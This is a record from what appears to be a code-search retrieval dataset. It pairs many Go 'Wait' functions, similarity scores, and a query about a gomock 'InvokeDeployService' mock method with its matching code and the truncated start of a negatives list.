data.cmd.Wait()\n\tif expectedExitStatus == 0 {\n\t\ts.NoError(err)\n\t} else {\n\t\tstatus := err.(*exec.ExitError).ProcessState.Sys().(syscall.WaitStatus)\n\t\ts.Equal(expectedExitStatus, status.ExitStatus())\n\t}\n}", "func (_m *MockWaiter) Wait() {\n\t_m.Called()\n}", "func (f *FakeCmdRunner) Wait() error {\n\treturn f.Err\n}", "func (m *MockmonitorInterface) WaitScala(name string) (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"WaitScala\", name)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (s *testSignaler) wait() bool {\n\tselect {\n\tcase s := <-s.nonBlockingStatus:\n\t\treturn s\n\tcase s := <-s.status:\n\t\treturn s\n\t}\n}", "func (e *engine) Wait(context.Context, *Spec, *Step) (*State, error) {\n\treturn nil, nil // no-op for bash implementation\n}", "func (r SortedRunner) Wait() error {\n\treturn nil\n}", "func (m *ShifterMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (tb *Testbed) Wait(timeout time.Duration) error {\n\tdefer tb.cancel()\n\tnow := time.Now()\n\tselect {\n\tcase <-tb.donec:\n\t\treturn nil\n\tcase to := <-time.After(timeout):\n\t\twaited := to.Sub(now)\n\t\treturn errors.New(\"timeout after \" + waited.String())\n\t}\n}", "func TestWait_timeout(t *testing.T) {\n\tdefer check(t)\n\tcontent := \"hello world!\"\n\treq := &showcasepb.WaitRequest{\n\t\tEnd: &showcasepb.WaitRequest_Ttl{\n\t\t\tTtl: &durationpb.Duration{Seconds: 1},\n\t\t},\n\t\tResponse: &showcasepb.WaitRequest_Success{\n\t\t\tSuccess: &showcasepb.WaitResponse{Content: content},\n\t\t},\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond)\n\tdefer cancel()\n\n\top, err := echo.Wait(ctx, req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresp, err := op.Wait(ctx)\n\tif err == nil {\n\t\tt.Errorf(\"Wait() = %+v, want error\", resp)\n\t}\n}", "func (m *MockSerializer) Wait() interface{} {\n\targs := m.MethodCalled(\"Wait\")\n\n\treturn args.Get(0)\n}", "func wait() {\n\ttime.Sleep(3 * time.Second)\n}", "func (m *StateSwitcherMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (p *EventReplay) Wait() {}", "func (t *ElapsedTimeout) Wait(context.Context) error { return nil }", "func (m *TesterMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (m *ParcelMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (m *ModifierMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (m *ParcelMock) MinimockWait(timeout time.Duration) {\n\ttimeoutCh := time.After(timeout)\n\tfor {\n\t\tok := true\n\t\tok = ok && m.AllowedSenderObjectAndRoleFinished()\n\t\tok = ok && m.ContextFinished()\n\t\tok = ok && m.DefaultRoleFinished()\n\t\tok = ok && m.DefaultTargetFinished()\n\t\tok = ok && m.DelegationTokenFinished()\n\t\tok = ok && m.GetCallerFinished()\n\t\tok = ok && m.GetSenderFinished()\n\t\tok = ok && m.GetSignFinished()\n\t\tok = ok && m.MessageFinished()\n\t\tok = ok && m.PulseFinished()\n\t\tok = ok && m.SetSenderFinished()\n\t\tok = ok && m.TypeFinished()\n\n\t\tif ok {\n\t\t\treturn\n\t\t}\n\n\t\tselect {\n\t\tcase <-timeoutCh:\n\n\t\t\tif !m.AllowedSenderObjectAndRoleFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.AllowedSenderObjectAndRole\")\n\t\t\t}\n\n\t\t\tif !m.ContextFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.Context\")\n\t\t\t}\n\n\t\t\tif !m.DefaultRoleFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.DefaultRole\")\n\t\t\t}\n\n\t\t\tif !m.DefaultTargetFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.DefaultTarget\")\n\t\t\t}\n\n\t\t\tif !m.DelegationTokenFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.DelegationToken\")\n\t\t\t}\n\n\t\t\tif !m.GetCallerFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.GetCaller\")\n\t\t\t}\n\n\t\t\tif !m.GetSenderFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.GetSender\")\n\t\t\t}\n\n\t\t\tif !m.GetSignFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.GetSign\")\n\t\t\t}\n\n\t\t\tif !m.MessageFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.Message\")\n\t\t\t}\n\n\t\t\tif !m.PulseFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.Pulse\")\n\t\t\t}\n\n\t\t\tif !m.SetSenderFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.SetSender\")\n\t\t\t}\n\n\t\t\tif !m.TypeFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ParcelMock.Type\")\n\t\t\t}\n\n\t\t\tm.t.Fatalf(\"Some mocks were not called on time: %s\", timeout)\n\t\t\treturn\n\t\tdefault:\n\t\t\ttime.Sleep(time.Millisecond)\n\t\t}\n\t}\n}", "func (t *simpleToken) Wait() bool {\n\treturn true\n}", "func (m *MockWorker) Wait() (interface{}, error) {\n\targs := m.MethodCalled(\"Wait\")\n\n\treturn args.Get(0), args.Error(1)\n}", "func Wait() {\n\t<-wait\n}", "func wait() {\n\t// 1000 - 2000 millisecond\n\tn := 1000 + CryptoRandNonNegInt(1000)\n\ttime.Sleep(time.Millisecond * time.Duration(n))\n}", "func (m *OutboundMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func Wait() {\n\tselect {}\n}", "func (m *ActiveNodeMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (m *SignatureKeyHolderMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (i *InvokeMotorStart) Wait() error {\n\treturn i.Result(nil)\n}", "func (g *Group) Wait() error", "func (t *Indie) Wait() {\n t.waitModules()\n}", "func (w *waiterOnce) wait() error {\n\tif w == nil {\n\t\treturn nil\n\t}\n\n\tif w.isReady() {\n\t\t// println(\"waiter: wait() is Ready\")\n\t\treturn w.err // no need to wait.\n\t}\n\n\tif atomic.CompareAndSwapUint32(w.locked, 0, 1) {\n\t\t// println(\"waiter: lock\")\n\t\t<-w.ch\n\t}\n\n\treturn w.err\n}", "func (p *Probe) wait() {\n\tp.waitGroup.Wait()\n}", "func (m *ConsensusNetworkMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (m *MockCallResult) Wait() *Result {\n\targs := m.MethodCalled(\"Wait\")\n\n\tif result := args.Get(0); result != nil {\n\t\treturn result.(*Result)\n\t}\n\n\treturn nil\n}", "func Wait() {\n\twg.Wait()\n}", "func (i *InvokeMotorBrake) Wait() error {\n\treturn i.Result(nil)\n}", "func (p *common) expect(sym lss.Symbol, msg string, skip ...lss.Symbol) {\n\tassert.For(p.done, 20)\n\tif !p.await(sym, skip...) {\n\t\tp.mark(msg)\n\t}\n\tp.done = false\n}", "func (m *CryptographyServiceMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (a *Agent) Wait() error {\n\ta.init()\n\treturn <-a.waitCh\n}", "func wait1Second()string{\n\treturn \"\"\n}", "func (t *SyncTransport) Wait() {}", "func (tfcm *TestFCM) wait(count int) {\n\ttime.Sleep(time.Duration(count) * tfcm.timeout)\n}", "func (m *MockCallResult) TryWait() (*Result, bool) {\n\targs := m.MethodCalled(\"TryWait\")\n\n\tif result := args.Get(0); result != nil {\n\t\treturn result.(*Result), args.Bool(1)\n\t}\n\n\treturn nil, args.Bool(1)\n}", "func PollExpecting(desc string, toHold func() bool, within time.Duration) bool {\n\tsleep := time.Millisecond * 20\n\ttries := int(1 + int64(within)/20e6)\n\t//fmt.Printf(\"tries = %d\\n\", tries)\n\tt0 := time.Now()\n\tfor i := 0; i < tries; i++ {\n\t\tif toHold() {\n\t\t\tfmt.Printf(\"Expect verified that '%s' on try %d; after %v\\n\", desc, i, time.Since(t0))\n\t\t\treturn true\n\t\t}\n\t\ttime.Sleep(sleep)\n\t}\n\tpanic(fmt.Errorf(\"did not hold: '%s', within %d tries of %v each (total ~ %v)\", desc, tries, sleep, within))\n\treturn false\n}", "func (s YieldingWaitStrategy) Wait() {\n\truntime.Gosched()\n}", "func waitOp(pbmClient *pbm.PBM, lock *pbm.LockHeader, waitFor time.Duration) error {\n\t// just to be sure the check hasn't started before the lock were created\n\ttime.Sleep(1 * time.Second)\n\tfmt.Print(\".\")\n\n\ttmr := time.NewTimer(waitFor)\n\tdefer tmr.Stop()\n\ttkr := time.NewTicker(1 * time.Second)\n\tdefer tkr.Stop()\n\tfor {\n\t\tselect {\n\t\tcase <-tmr.C:\n\t\t\treturn errTout\n\t\tcase <-tkr.C:\n\t\t\tfmt.Print(\".\")\n\t\t\tlock, err := pbmClient.GetLockData(lock)\n\t\t\tif err != nil {\n\t\t\t\t// No lock, so operation has finished\n\t\t\t\tif errors.Is(err, mongo.ErrNoDocuments) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn errors.Wrap(err, \"get lock data\")\n\t\t\t}\n\t\t\tclusterTime, err := pbmClient.ClusterTime()\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"read cluster time\")\n\t\t\t}\n\t\t\tif lock.Heartbeat.T+pbm.StaleFrameSec < clusterTime.T {\n\t\t\t\treturn errors.Errorf(\"operation stale, last beat ts: %d\", lock.Heartbeat.T)\n\t\t\t}\n\t\t}\n\t}\n}", "func (m *IndexBucketModifierMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (f *fakeProgressbar) Wait() {}", "func (r *volumeReactor) waitTest(test controllerTest) error {\n\t// start with 10 ms, multiply by 2 each step, 10 steps = 10.23 seconds\n\tbackoff := wait.Backoff{\n\t\tDuration: 10 * time.Millisecond,\n\t\tJitter: 0,\n\t\tFactor: 2,\n\t\tSteps: 10,\n\t}\n\terr := wait.ExponentialBackoff(backoff, func() (done bool, err error) {\n\t\t// Finish all operations that are in progress\n\t\tr.ctrl.runningOperations.WaitForCompletion()\n\n\t\t// Return 'true' if the reactor reached the expected state\n\t\terr1 := r.checkClaims(test.expectedClaims)\n\t\terr2 := r.checkVolumes(test.expectedVolumes)\n\t\tif err1 == nil && err2 == nil {\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\t})\n\treturn err\n}", "func (r *volumeReactor) waitTest(test controllerTest) error {\n\t// start with 10 ms, multiply by 2 each step, 10 steps = 10.23 seconds\n\tbackoff := wait.Backoff{\n\t\tDuration: 10 * time.Millisecond,\n\t\tJitter: 0,\n\t\tFactor: 2,\n\t\tSteps: 10,\n\t}\n\terr := wait.ExponentialBackoff(backoff, func() (done bool, err error) {\n\t\t// Finish all operations that are in progress\n\t\tr.ctrl.runningOperations.WaitForCompletion()\n\n\t\t// Return 'true' if the reactor reached the expected state\n\t\terr1 := r.CheckClaims(test.expectedClaims)\n\t\terr2 := r.CheckVolumes(test.expectedVolumes)\n\t\tif err1 == nil && err2 == nil {\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\t})\n\treturn err\n}", "func (a *Application) Wait() {\n\t<-a.terminated\n\tlog.Printf(\"[TEST] thats all folks\")\n}", "func waitAndverify(t *testing.T, key string) {\n\twaitChan := make(chan int)\n\tgo func() {\n\t\ttime.Sleep(20 * time.Second)\n\t\twaitChan <- 1\n\t}()\n\n\tselect {\n\tcase data := <-keyChan:\n\t\tif key == \"\" {\n\t\t\tt.Fatalf(\"unpexpected key: %v\", data)\n\t\t} else if data != key {\n\t\t\tt.Fatalf(\"error in match expected: %v, got: %v\", key, data)\n\t\t}\n\tcase _ = <-waitChan:\n\t\tif key != \"\" {\n\t\t\tt.Fatalf(\"timed out waiting for %v\", key)\n\t\t}\n\t}\n}", "func waitAndverify(t *testing.T, key string) {\n\twaitChan := make(chan int)\n\tgo func() {\n\t\ttime.Sleep(20 * time.Second)\n\t\twaitChan <- 1\n\t}()\n\n\tselect {\n\tcase data := <-keyChan:\n\t\tif key == \"\" {\n\t\t\tt.Fatalf(\"unpexpected key: %v\", data)\n\t\t} else if data != key {\n\t\t\tt.Fatalf(\"error in match expected: %v, got: %v\", key, data)\n\t\t}\n\tcase _ = <-waitChan:\n\t\tif key != \"\" {\n\t\t\tt.Fatalf(\"timed out waiting for %v\", key)\n\t\t}\n\t}\n}", "func (m *HeavySyncMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func waitReady(project, name, region string) error {\n\twait := time.Minute * 4\n\tdeadline := time.Now().Add(wait)\n\tfor time.Now().Before(deadline) {\n\t\tsvc, err := getService(project, name, region)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to query Service for readiness: %w\", err)\n\t\t}\n\n\t\tfor _, cond := range svc.Status.Conditions {\n\t\t\tif cond.Type == \"Ready\" {\n\t\t\t\tif cond.Status == \"True\" {\n\t\t\t\t\treturn nil\n\t\t\t\t} else if cond.Status == \"False\" {\n\t\t\t\t\treturn fmt.Errorf(\"reason=%s message=%s\", cond.Reason, cond.Message)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ttime.Sleep(time.Second * 2)\n\t}\n\treturn fmt.Errorf(\"the service did not become ready in %s, check Cloud Console for logs to see why it failed\", wait)\n}", "func wait() {\n\tvar breaker string\n\tfmt.Scanln(&breaker)\n}", "func wait(ctx context.Context, c TimedActuator,\n\tresChan chan error, cancel context.CancelFunc) error {\n\tif timeout := c.GetTimeout(); timeout != nil {\n\t\treturn waitWithTimeout(ctx, resChan, *timeout, cancel)\n\t}\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tcase err := <-resChan:\n\t\t\tif err != nil {\n\t\t\t\tcancel()\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n}", "func (p *Provider) wait() {\n\t// Compute the backoff time\n\tbackoff := p.backoffDuration()\n\n\t// Setup a wait timer\n\tvar wait <-chan time.Time\n\tif backoff > 0 {\n\t\tjitter := time.Duration(rand.Uint32()) % backoff\n\t\twait = time.After(backoff + jitter)\n\t}\n\n\t// Wait until timer or shutdown\n\tselect {\n\tcase <-wait:\n\tcase <-p.shutdownCh:\n\t}\n}", "func (s *InvokeSync) Wait(ctx context.Context) error {\n\tif !s.wait.Wait(ctx) {\n\t\treturn task.StopReason(ctx)\n\t}\n\treturn s.err\n}", "func (th *TestHelper) WaitFor(description string, condition func() bool) {\n\tth.Log(\"Started waiting for %s\", description)\n\n\tfor {\n\t\tselect {\n\t\tcase <-th.Done:\n\t\t\tth.Assert(false, \"WaitFor '%s' failed.\", description)\n\t\tcase <-time.After(20 * time.Millisecond):\n\t\t}\n\n\t\tif condition() {\n\t\t\tth.Log(\"Finished waiting for %s\", description)\n\t\t\treturn\n\t\t}\n\t\tth.Log(\"Condition not satisfied\")\n\t}\n}", "func (k *kubectlContext) Wait(args ...string) error {\n\tout, err := k.do(append([]string{\"wait\"}, args...)...)\n\tk.t.Log(string(out))\n\treturn err\n}", "func (m *ActiveNodeMock) MinimockWait(timeout time.Duration) {\n\ttimeoutCh := time.After(timeout)\n\tfor {\n\t\tok := true\n\t\tok = ok && m.GetDeclaredPowerFinished()\n\t\tok = ok && m.GetIndexFinished()\n\t\tok = ok && m.GetNodeIDFinished()\n\t\tok = ok && m.GetOpModeFinished()\n\t\tok = ok && m.GetSignatureVerifierFinished()\n\t\tok = ok && m.GetStaticFinished()\n\t\tok = ok && m.IsJoinerFinished()\n\n\t\tif ok {\n\t\t\treturn\n\t\t}\n\n\t\tselect {\n\t\tcase <-timeoutCh:\n\n\t\t\tif !m.GetDeclaredPowerFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetDeclaredPower\")\n\t\t\t}\n\n\t\t\tif !m.GetIndexFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetIndex\")\n\t\t\t}\n\n\t\t\tif !m.GetNodeIDFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetNodeID\")\n\t\t\t}\n\n\t\t\tif !m.GetOpModeFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetOpMode\")\n\t\t\t}\n\n\t\t\tif !m.GetSignatureVerifierFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetSignatureVerifier\")\n\t\t\t}\n\n\t\t\tif !m.GetStaticFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.GetStatic\")\n\t\t\t}\n\n\t\t\tif !m.IsJoinerFinished() {\n\t\t\t\tm.t.Error(\"Expected call to ActiveNodeMock.IsJoiner\")\n\t\t\t}\n\n\t\t\tm.t.Fatalf(\"Some mocks were not called on time: %s\", timeout)\n\t\t\treturn\n\t\tdefault:\n\t\t\ttime.Sleep(time.Millisecond)\n\t\t}\n\t}\n}", "func (s QueueSetSpy) Wait(did DeploymentID, id R11nID) (DiffResolution, bool) {\n\tres := s.Called(did, id)\n\treturn res.Get(0).(DiffResolution), res.Bool(1)\n}", "func (m *UnsyncListMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (a API) PingWait(cmd *None) (out *None, e error) {\n\tRPCHandlers[\"ping\"].Call <-API{a.Ch, cmd, nil}\n\tselect {\n\tcase <-time.After(time.Second*5):\n\t\tbreak\n\tcase o := <-a.Ch.(chan PingRes):\n\t\tout, e = o.Res, o.Err\n\t}\n\treturn\n}", "func (t *Tailer) wait() {\n\ttime.Sleep(t.sleepDuration)\n}", "func (tx *Tx) wait() {\n\tglobalCond.L.Lock()\n\tfor tx.verify() {\n\t\tglobalCond.Wait()\n\t}\n\tglobalCond.L.Unlock()\n}", "func GxWait(children ...Element) *CompoundElement { return newCE(\"gx:Wait\", children) }", "func (t *simpleToken) WaitTimeout(_ time.Duration) bool {\n\treturn true\n}", "func (kv *ShardKV) waitForDecided(seq int) Op {\n\tto := 10 * time.Millisecond\n\tfor {\n\t\tstatus, v := kv.px.Status(seq)\n\t\tif status == paxos.Decided {\n\t\t\treturn v.(Op)\n\t\t}\n\t\ttime.Sleep(to)\n\t\tif to < 10*time.Second {\n\t\t\tto *= 2\n\t\t}\n\t}\n}", "func (eb exponentialBackoff) wait() {\n\ttime.Sleep(eb.currentDelay)\n\teb.currentDelay = eb.b.Duration()\n}", "func (s SleepWaitStrategy) Wait() {\n\ttime.Sleep(s.Duration)\n}", "func waitExamples() string {\n\treturn `$ pouch ps\nName ID Status Created Image Runtime\nfoo f6717e Up 2 seconds 3 seconds ago registry.hub.docker.com/library/busybox:latest runc\n$ pouch stop foo\n$ pouch ps -a\nName ID Status Created Image Runtime\nfoo f6717e Stopped (0) 1 minute 2 minutes ago registry.hub.docker.com/library/busybox:latest runc\n$ pouch wait foo\n0`\n}", "func (o *Operation) Wait(timeout time.Duration) (bool, error) {\n\t// check current state\n\tif o.status.IsFinal() {\n\t\treturn true, nil\n\t}\n\n\t// wait indefinitely\n\tif timeout == -1 {\n\t\tselect {\n\t\tcase <-o.chanDone:\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\t// Wait until timeout\n\tif timeout > 0 {\n\t\ttimer := time.NewTimer(timeout)\n\t\tselect {\n\t\tcase <-o.chanDone:\n\t\t\treturn true, nil\n\t\tcase <-timer.C:\n\t\t\treturn false, errors.Errorf(\"timeout\")\n\t\t}\n\t}\n\treturn false, nil\n}", "func wait(t *testing.T, ch chan StateChange) *StateChange {\n\tselect {\n\tcase sc := <-ch:\n\t\treturn &sc\n\tcase <-time.After(MAX_ELECTION_TIMEOUT):\n\t\tt.Fatal(\"Timeout waiting on state change\")\n\t}\n\treturn nil\n}", "func (p *Page) MustWait(js string, params ...interface{}) *Page {\n\tp.e(p.Wait(Eval(js, params...)))\n\treturn p\n}", "func waitFor(cond func() bool) error {\n\tdone := make(chan bool)\n\n\tgo func() {\n\t\tfor {\n\t\t\tif cond() {\n\t\t\t\tdone <- true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-done:\n\t\treturn nil\n\tcase <-time.After(5 * time.Second):\n\t\treturn errors.New(\"timed out waiting for condition\")\n\t}\n}", "func (mr *MockImporterMockRecorder) Wait() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Wait\", reflect.TypeOf((*MockImporter)(nil).Wait))\n}", "func (p *Init) Wait() {\n\t<-p.waitBlock\n}", "func (r *Response) wait() {\n\tr.StatusCode = HTTPStatusOK\n}", "func (res *stateResult) Wait() error {\n\tif res == nil {\n\t\treturn nil\n\t}\n\tif res.listen != nil {\n\t\tswitch state := <-res.listen; {\n\t\tcase state.State == res.expected:\n\t\tcase state.Err != nil:\n\t\t\tres.err = state.Err\n\t\tdefault:\n\t\t\tcode := 50001\n\t\t\tif state.Type == StateConn {\n\t\t\t\tcode = 50002\n\t\t\t}\n\t\t\tres.err = &Error{\n\t\t\t\tCode: code,\n\t\t\t\tErr: fmt.Errorf(\"failed %s state: %s\", state.Type, state.State),\n\t\t\t}\n\t\t}\n\t\tres.listen = nil\n\t}\n\treturn res.err\n}", "func (ep *ExpectProcess) Wait() {\n\tep.wg.Wait()\n}", "func (m *HostNetworkMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (y *Yaraus) wait(id uint) *Error {\n\tif !y.useWait {\n\t\treturn nil\n\t}\n\n\t// get slaves count\n\tsc, err := slaveCount(y.c)\n\tif err != nil {\n\t\treturn &Error{\n\t\t\tErr: err,\n\t\t\tID: id,\n\t\t\tClientID: y.clientID,\n\t\t}\n\t}\n\tif sc == 0 {\n\t\treturn nil\n\t}\n\n\t// wait for redis slaves.\n\ti, err := y.c.Wait(sc/2+1, y.Interval).Result()\n\tif err != nil {\n\t\treturn &Error{\n\t\t\tErr: err,\n\t\t\tID: id,\n\t\t\tClientID: y.clientID,\n\t\t}\n\t}\n\tif int(i) < sc/2+1 {\n\t\treturn &Error{\n\t\t\tErr: fmt.Errorf(\"failed to sync, got %d, want %d\", int(i), sc/2+1),\n\t\t\tID: id,\n\t\t\tClientID: y.clientID,\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *IndexCollectionAccessorMock) Wait(timeout time.Duration) {\n\tm.MinimockWait(timeout)\n}", "func (mr *MockOSProcessMockRecorder) Wait() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Wait\", reflect.TypeOf((*MockOSProcess)(nil).Wait))\n}", "func (ret *OpRet) Wait() error {\n\tif ret.delayed == nil {\n\t\treturn nil\n\t}\n\n\t<-ret.delayed\n\treturn ret.error\n}", "func (a *ApplyImpl) Wait() bool {\n\treturn a.ApplyOptions.Wait\n}", "func (w *WaitState) Wait() error {\n\tif w.Finish == 0 {\n\t\tw.Finish = 100\n\t}\n\n\tif w.PollerInterval == 0 {\n\t\tw.PollerInterval = 20 * time.Second\n\t}\n\n\tif w.Timeout == 0 {\n\t\tw.Timeout = 7 * time.Minute\n\t}\n\n\tif w.Start >= w.Finish {\n\t\treturn errors.New(\"start value can't be lower than finish value\")\n\t}\n\n\ttimeout := time.After(w.Timeout)\n\n\tticker := time.NewTicker(w.PollerInterval)\n\tdefer ticker.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\t// add a delay of -10 so start doesn't get ever larger than finish\n\t\t\tif w.Start <= w.Finish-10 {\n\t\t\t\tw.Start += 10\n\t\t\t}\n\n\t\t\tstate, err := w.StateFunc(w.Start)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif state == w.DesiredState {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase <-time.After(time.Second * 30):\n\t\t\t// cancel the current ongoing process if it takes too long\n\t\t\tfmt.Println(\"Canceling current event asking\")\n\t\t\tcontinue\n\t\tcase <-timeout:\n\t\t\treturn ErrWaitTimeout\n\t\t}\n\t}\n\n}", "func Wait() {\n\twaitGroup.Wait()\n}", "func waitCheck(c *Coordinator, taskType int, taskNum int) {\n\ttime.Sleep(10 * time.Second)\n\n\tif taskType == 0 {\n\t\tc.mapLock.Lock()\n\t\tif !c.mapTasks[taskNum].done {\n\t\t\tdefer fmt.Printf(\"Worker %v took too long to respond for map task %v\\n\",\n\t\t\t\tc.mapTasks[taskNum].worker, taskNum)\n\t\t\tc.mapTasks[taskNum].worker = -1\n\t\t\tc.availableMapTasks[taskNum] = taskNum\n\t\t}\n\t\tc.mapLock.Unlock()\n\t} else {\n\t\tc.reduceLock.Lock()\n\t\tif !c.reduceTasks[taskNum].done {\n\t\t\tdefer fmt.Printf(\"Worker %v took too long to respond for reduce task %v\\n\",\n\t\t\t\tc.reduceTasks[taskNum].worker, taskNum)\n\t\t\tc.reduceTasks[taskNum].worker = -1\n\t\t\tc.availableReduceTasks[taskNum] = taskNum\n\t\t}\n\t\tc.reduceLock.Unlock()\n\t}\n}", "func (async *async) wait() {\n\t<-async.done\n}", "func (mr *MockOperationMockRecorder) Wait() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Wait\", reflect.TypeOf((*MockOperation)(nil).Wait))\n}", "func (c *BFTChain) WaitReady() error {\n\treturn nil\n}", "func (e *WindowsEvent) Wait() {\n\te.WaitTimeout(-1)\n}", "func WaitUntil(c *check.C, f CheckFunc) {\n\tc.Log(\"wait start\")\n\tfor i := 0; i < waitMaxRetry; i++ {\n\t\tif f(c) {\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(waitRetrySleep)\n\t}\n\tc.Fatal(\"wait timeout\")\n}" ]
[ "0.6746908", "0.65493274", "0.654029", "0.65180796", "0.6509116", "0.64339316", "0.6409613", "0.6405528", "0.6356775", "0.6294718", "0.6235087", "0.61931956", "0.61779046", "0.61694705", "0.6159592", "0.6149894", "0.6140329", "0.6110324", "0.61030716", "0.6057537", "0.6047318", "0.602212", "0.6018238", "0.601053", "0.59955764", "0.59945047", "0.59795", "0.5977512", "0.5973222", "0.59586716", "0.59244335", "0.5880083", "0.5858438", "0.5827795", "0.5813686", "0.58066165", "0.57979053", "0.57900876", "0.57842195", "0.5764837", "0.5757613", "0.57564265", "0.57515067", "0.5730366", "0.5729004", "0.5721675", "0.57201636", "0.5716009", "0.5715453", "0.5712536", "0.5703267", "0.56990427", "0.56942767", "0.56827635", "0.56782144", "0.56648856", "0.56648856", "0.5660985", "0.5659538", "0.5644668", "0.564068", "0.56344", "0.5633343", "0.5626479", "0.56255823", "0.5611571", "0.56083184", "0.5607411", "0.5603692", "0.5600951", "0.5593263", "0.5583445", "0.558199", "0.5579039", "0.5572031", "0.55689734", "0.556048", "0.5558911", "0.55566263", "0.55555993", "0.5553393", "0.55525815", "0.55440205", "0.5535364", "0.5534409", "0.55105484", "0.5506019", "0.5504513", "0.55032235", "0.5497228", "0.5493064", "0.5488716", "0.5477102", "0.547448", "0.54733557", "0.54673856", "0.54657656", "0.5461038", "0.5459444", "0.5458377" ]
0.592389
31
InvokeDeployService mocks base method
func (m *MockmonitorInterface) InvokeDeployService(name string, num float64) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "InvokeDeployService", name, num) ret0, _ := ret[0].(error) return ret0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockDeployer) Deploy(arg0 cloud.Cloud, arg1 manifest.Manifest, arg2 stemcell.CloudStemcell, arg3 vm.Manager, arg4 blobstore.Blobstore, arg5 bool, arg6 ui.Stage) (deployment.Deployment, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Deploy\", arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n\tret0, _ := ret[0].(deployment.Deployment)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func MockDeploy() appsv1.Deployment {\n\tp := MockPod()\n\td := appsv1.Deployment{\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tTemplate: corev1.PodTemplateSpec{Spec: p.Spec},\n\t\t},\n\t}\n\treturn d\n}", "func (m *MockSecrets) Deploy(arg0 context.Context, arg1 kubernetes0.Interface, arg2 kubernetes.Interface, arg3 string) (map[string]*v1.Secret, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Deploy\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(map[string]*v1.Secret)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func deploy(project, name, image, region string, envs []string, options options) (string, error) {\n\tenvVars := parseEnv(envs)\n\n\tclient, err := runClient(region)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to initialize Run API client: %w\", err)\n\t}\n\n\tsvc, err := getService(project, name, region)\n\tif err == nil {\n\t\t// existing service\n\t\tsvc = patchService(svc, envVars, image, options)\n\t\t_, err = client.Namespaces.Services.ReplaceService(\"namespaces/\"+project+\"/services/\"+name, svc).Do()\n\t\tif err != nil {\n\t\t\tif e, ok := err.(*googleapi.Error); ok 